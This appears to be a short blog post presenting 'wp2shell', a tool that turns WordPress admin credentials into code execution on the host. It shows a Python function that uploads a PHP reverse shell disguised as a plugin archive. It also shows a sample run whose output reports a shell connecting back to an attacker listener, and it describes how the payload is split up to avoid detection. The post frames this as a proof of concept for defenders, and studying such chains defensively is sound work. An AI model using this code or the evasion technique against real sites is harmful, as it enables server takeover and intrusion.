Most WordPress exploitation tools focus on known CVEs in specific plugin versions. wp2shell takes a different approach — it targets the fundamental assumption that authenticated admin access is contained.
The attack chain is straightforward: authenticate with valid admin credentials, abuse the plugin upload mechanism to deploy a PHP reverse shell, and trigger it with a single GET request.
def upload_shell(target, session):
shell_payload = generate_php_reverse_shell(LHOST, LPORT)
plugin_zip = craft_plugin_archive("helpers", shell_payload)
resp = session.post(
f"{target}/wp-admin/update.php?action=upload-plugin",
files={"pluginzip": ("shell.zip", plugin_zip)},
data={"_wpnonce": extract_nonce(session, target)}
)
return resp.status_code == 200The PHP payload avoids common detection patterns by splitting the reverse shell logic across multiple functions and using variable function names.
Why this matters
WordPress powers roughly 40% of the web. Many organizations treat wp-admin access as a low-risk credential — “it’s just a blog.” But admin access on a default WordPress installation is one plugin_upload away from arbitrary code execution on the host.
$ python3 wp2shell.py --target http://192.168.1.50/wp --lhost 10.0.0.5 --lport 4444
[*] Authenticating as admin
[+] Session established
[*] Generating reverse shell payload
[*] Uploading as plugin archive
[+] Plugin installed successfully
[*] Triggering shell...
[+] Connection received on 10.0.0.5:4444The tool is a proof-of-concept — the goal is demonstrating risk to defenders, not enabling attackers. Every technique it uses is well-documented; the value is in packaging the chain end-to-end.